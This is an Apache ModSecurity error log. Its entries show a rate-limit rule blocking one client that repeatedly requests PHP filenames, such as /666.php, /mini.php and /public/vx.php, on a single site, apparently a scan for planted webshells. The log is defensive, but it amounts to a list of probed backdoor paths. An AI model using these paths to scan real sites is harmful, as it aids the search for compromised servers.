[Sun Apr 19 21:25:14.408656 2026] [:error] [pid 47772:tid 47806] [client 20.91.204.211:19062] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeTXuoc0L16cb4smAz--TwAAABE"]
[Sun Apr 19 21:25:15.083703 2026] [:error] [pid 15760:tid 15769] [client 20.91.204.211:16768] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeTXu_SdD_XHQMJ_ISsvagAAAcE"]
[Sun Apr 19 21:25:16.571894 2026] [:error] [pid 15760:tid 15770] [client 20.91.204.211:20309] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeTXvPSdD_XHQMJ_ISsvcAAAAcI"]
[Sun Apr 19 21:25:19.133058 2026] [:error] [pid 15760:tid 15787] [client 20.91.204.211:16820] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeTXv_SdD_XHQMJ_ISsvegAAAdM"]
[Sun Apr 19 21:25:20.979875 2026] [:error] [pid 15765:tid 15862] [client 20.91.204.211:16028] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeTXwPRqinw-W5EwQ777swAAAok"]
[Sun Apr 19 21:25:22.106924 2026] [:error] [pid 47773:tid 47822] [client 20.91.204.211:17088] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeTXwuiBHdnCJDuPq9BDnwAAAEY"]
[Sun Apr 19 21:25:23.179904 2026] [:error] [pid 15764:tid 15850] [client 20.91.204.211:22148] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeTXw2LL_sqdSHoVp-QV5QAAAlc"]
[Sun Apr 19 21:25:24.860878 2026] [:error] [pid 47886:tid 47905] [client 20.91.204.211:16774] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeTXxESe8yiyuPrD7yN3_gAAANE"]
[Sun Apr 19 21:25:26.234207 2026] [:error] [pid 47775:tid 47851] [client 20.91.204.211:20630] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "aeTXxrmztjlk9tsmoewVxQAAAIg"]
[Sun Apr 19 21:25:27.214811 2026] [:error] [pid 15760:tid 15785] [client 20.91.204.211:19041] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "aeTXx_SdD_XHQMJ_ISsviAAAAdE"]
[Sun Apr 19 21:25:28.209715 2026] [:error] [pid 47772:tid 47813] [client 20.91.204.211:19069] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "aeTXyIc0L16cb4smAz--UgAAABg"]
[Sun Apr 19 21:25:29.693144 2026] [:error] [pid 47772:tid 47791] [client 20.91.204.211:22191] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "aeTXyYc0L16cb4smAz--WQAAAAI"]
[Sun Apr 19 21:25:30.684020 2026] [:error] [pid 15760:tid 15768] [client 20.91.204.211:18316] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "aeTXyvSdD_XHQMJ_ISsvkAAAAcA"]
[Sun Apr 19 21:25:36.128150 2026] [:error] [pid 47886:tid 47901] [client 20.91.204.211:16030] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "aeTX0ESe8yiyuPrD7yN4AgAAAM0"]
[Sun Apr 19 21:25:37.443644 2026] [:error] [pid 15760:tid 15769] [client 20.91.204.211:16803] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "aeTX0fSdD_XHQMJ_ISsvlAAAAcE"]
[Sun Apr 19 21:25:39.373868 2026] [:error] [pid 15763:tid 15805] [client 20.91.204.211:17128] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "aeTX07MXv1Y1THOoxaD6GAAAAgk"]
[Sun Apr 19 21:25:40.972275 2026] [:error] [pid 15764:tid 15844] [client 20.91.204.211:19030] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "aeTX1GLL_sqdSHoVp-QWFAAAAlI"]
[Sun Apr 19 21:25:42.387328 2026] [:error] [pid 15760:tid 15787] [client 20.91.204.211:15890] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "aeTX1vSdD_XHQMJ_ISsvowAAAdM"]
[Sun Apr 19 21:25:43.481091 2026] [:error] [pid 15764:tid 15838] [client 20.91.204.211:20305] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "aeTX12LL_sqdSHoVp-QWHQAAAkw"]
[Sun Apr 19 21:25:45.226315 2026] [:error] [pid 15760:tid 15771] [client 20.91.204.211:15896] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "aeTX2fSdD_XHQMJ_ISsvrQAAAcM"]
[Sun Apr 19 21:25:46.491778 2026] [:error] [pid 15764:tid 15845] [client 20.91.204.211:20618] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "aeTX2mLL_sqdSHoVp-QWLgAAAlM"]
[Sun Apr 19 21:25:47.570722 2026] [:error] [pid 15760:tid 15786] [client 20.91.204.211:17139] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "aeTX2_SdD_XHQMJ_ISsvrwAAAdI"]
[Sun Apr 19 21:25:49.103474 2026] [:error] [pid 15764:tid 15846] [client 20.91.204.211:22204] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "aeTX3WLL_sqdSHoVp-QWOwAAAlQ"]
[Sun Apr 19 21:25:50.615185 2026] [:error] [pid 15760:tid 15772] [client 20.91.204.211:13276] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "aeTX3vSdD_XHQMJ_ISsvtwAAAcQ"]
[Sun Apr 19 21:25:52.950628 2026] [:error] [pid 15760:tid 15773] [client 20.91.204.211:18920] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "aeTX4PSdD_XHQMJ_ISsv1AAAAcU"]
[Sun Apr 19 21:26:09.672701 2026] [:error] [pid 47775:tid 47867] [client 20.91.204.211:19153] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "aeTX8bmztjlk9tsmoewV6QAAAJg"]
[Sun Apr 19 21:26:11.973048 2026] [:error] [pid 15763:tid 15814] [client 20.91.204.211:16726] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "aeTX87MXv1Y1THOoxaD6NgAAAhI"]
[Sun Apr 19 21:26:13.007161 2026] [:error] [pid 47886:tid 47904] [client 20.91.204.211:18778] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "aeTX9USe8yiyuPrD7yN4QwAAANA"]
[Sun Apr 19 21:26:13.798109 2026] [:error] [pid 15760:tid 15782] [client 20.91.204.211:18774] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "aeTX9fSdD_XHQMJ_ISswDQAAAc4"]
[Sun Apr 19 21:26:15.389458 2026] [:error] [pid 15763:tid 15801] [client 20.91.204.211:21429] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aeTX97MXv1Y1THOoxaD6QwAAAgU"]
[Sun Apr 19 21:26:16.227367 2026] [:error] [pid 15763:tid 15816] [client 20.91.204.211:21460] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aeTX-LMXv1Y1THOoxaD6SQAAAhQ"]
[Sun Apr 19 21:26:17.186769 2026] [:error] [pid 47772:tid 47809] [client 20.91.204.211:15663] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aeTX-Yc0L16cb4smAz--lwAAABQ"]
[Sun Apr 19 21:26:18.351331 2026] [:error] [pid 47773:tid 47816] [client 20.91.204.211:18065] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aeTX-uiBHdnCJDuPq9BDxgAAAEA"]
[Sun Apr 19 21:26:19.151048 2026] [:error] [pid 15763:tid 15820] [client 20.91.204.211:20477] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/first.php"] [unique_id "aeTX-7MXv1Y1THOoxaD6VgAAAhg"]
[Sun Apr 19 21:26:20.508435 2026] [:error] [pid 47772:tid 47810] [client 20.91.204.211:1287] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/first.php"] [unique_id "aeTX_Ic0L16cb4smAz--nQAAABU"]
[Sun Apr 19 21:26:21.574918 2026] [:error] [pid 47772:tid 47798] [client 20.91.204.211:21630] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/first.php"] [unique_id "aeTX_Yc0L16cb4smAz--owAAAAk"]
[Sun Apr 19 21:26:23.041472 2026] [:error] [pid 47773:tid 47834] [client 20.91.204.211:13470] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/first.php"] [unique_id "aeTX_-iBHdnCJDuPq9BDzQAAAFI"]
[Sun Apr 19 21:26:24.848463 2026] [:error] [pid 47772:tid 47807] [client 20.91.204.211:15937] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "aeTYAIc0L16cb4smAz--rgAAABI"]
[Sun Apr 19 21:26:26.297640 2026] [:error] [pid 15764:tid 15829] [client 20.91.204.211:21074] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "aeTYAmLL_sqdSHoVp-QWawAAAkM"]
[Sun Apr 19 21:26:27.487115 2026] [:error] [pid 15760:tid 15776] [client 20.91.204.211:15375] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "aeTYA_SdD_XHQMJ_ISswKgAAAcg"]
[Sun Apr 19 21:26:29.574286 2026] [:error] [pid 15764:tid 15834] [client 20.91.204.211:18575] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "aeTYBWLL_sqdSHoVp-QWcwAAAkg"]
[Sun Apr 19 21:26:31.099726 2026] [:error] [pid 47773:tid 47821] [client 20.91.204.211:21070] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeTYB-iBHdnCJDuPq9BD2wAAAEU"]
[Sun Apr 19 21:26:31.821595 2026] [:error] [pid 47773:tid 47831] [client 20.91.204.211:18579] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeTYB-iBHdnCJDuPq9BD3AAAAE8"]
[Sun Apr 19 21:26:32.850593 2026] [:error] [pid 15764:tid 15840] [client 20.91.204.211:21603] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeTYCGLL_sqdSHoVp-QWgwAAAk4"]
[Sun Apr 19 21:26:33.619077 2026] [:error] [pid 15764:tid 15827] [client 20.91.204.211:21588] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeTYCWLL_sqdSHoVp-QWiQAAAkE"]
[Sun Apr 19 21:26:34.953095 2026] [:error] [pid 47886:tid 47895] [client 20.91.204.211:21568] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "aeTYCkSe8yiyuPrD7yN4SwAAAMc"]
[Sun Apr 19 21:26:36.212954 2026] [:error] [pid 47773:tid 47819] [client 20.91.204.211:18443] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "aeTYDOiBHdnCJDuPq9BD4QAAAEM"]
[Sun Apr 19 21:26:37.174833 2026] [:error] [pid 15694:tid 15746] [client 20.91.204.211:17948] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "aeTYDbimB-jol1fwqAoODwAAAZQ"]
[Sun Apr 19 21:26:38.185164 2026] [:error] [pid 47772:tid 47812] [client 20.91.204.211:17945] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "aeTYDoc0L16cb4smAz--uQAAABc"]
[Sun Apr 19 21:26:39.194338 2026] [:error] [pid 47773:tid 47829] [client 20.91.204.211:15796] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "aeTYD-iBHdnCJDuPq9BD5QAAAE0"]
[Sun Apr 19 21:26:40.113207 2026] [:error] [pid 15764:tid 15834] [client 20.91.204.211:18563] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "aeTYEGLL_sqdSHoVp-QWkgAAAkg"]
[Sun Apr 19 21:26:41.146128 2026] [:error] [pid 47772:tid 47803] [client 20.91.204.211:18614] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "aeTYEYc0L16cb4smAz--wAAAAA4"]
[Sun Apr 19 21:26:41.882703 2026] [:error] [pid 47772:tid 47811] [client 20.91.204.211:17615] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "aeTYEYc0L16cb4smAz--xAAAABY"]
[Sun Apr 19 21:26:42.965502 2026] [:error] [pid 47773:tid 47830] [client 20.91.204.211:14248] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/radio.php"] [unique_id "aeTYEuiBHdnCJDuPq9BD5gAAAE4"]
[Sun Apr 19 21:26:43.682804 2026] [:error] [pid 47772:tid 47799] [client 20.91.204.211:13082] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/radio.php"] [unique_id "aeTYE4c0L16cb4smAz--zAAAAAo"]
[Sun Apr 19 21:26:44.696447 2026] [:error] [pid 47772:tid 47813] [client 20.91.204.211:14406] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/radio.php"] [unique_id "aeTYFIc0L16cb4smAz--0AAAABg"]
